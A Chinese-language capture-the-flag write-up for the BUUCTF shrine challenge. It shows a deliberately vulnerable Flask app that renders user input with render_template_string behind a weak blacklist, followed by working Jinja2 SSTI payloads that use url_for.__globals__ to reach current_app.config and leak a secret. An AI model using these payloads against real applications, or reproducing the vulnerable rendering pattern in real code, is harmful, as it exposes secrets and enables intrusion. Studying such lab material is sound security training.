BUUCTF[WesternCTF2018]shrine 1
考点:
1.ssti注入
2.python内置函数
进入靶场:
import flask import os app = flask.Flask(__name__) app.config['FLAG'] = os.environ.pop('FLAG') @app.route('/') def index(): return open(__file__).read() \ @app.route('/shrine/') def shrine(shrine): def safe_jinja(s): s = s.replace('(', '').replace(')', '') blacklist = ['config', 'self'] return ''.join(['{{% set {}=None%}}'.format(c) for c in blacklist]) + s # .format连接字符串 return flask.render_template_string(safe_jinja(shrine)) if __name__ == '__main__': app.run(debug=True)
为python的flask框架
测试/shrine/路由下的ssti
payload:/shrine/{{8*8}}
发现存在ssti漏洞。
分析源码:
app.config['FLAG'] = os.environ.pop('FLAG')
注册了一个名为FLAG的config,猜测flag在此config中,若不存在过滤,可以使用{undefined{config}}查看app.config中的内容,
但此题设置了黑名单
blacklist = ['config', 'self'] return ''.join(['{{% set {}=None%}}'.format(c) for c in blacklist]) + s # .format连接字符串
将黑名单中的字符串替换为空
在这要用到python的内置函数:url_for 和 get_flashed_messages
payload:/shrine/{{url_for.__globals__}}
发现Flask app对应的是current_app.猜测current_app就是当前的app。
得到app的config
payload:/shrine/{{url_for.__globals__['current_app'].config}}
得到flag。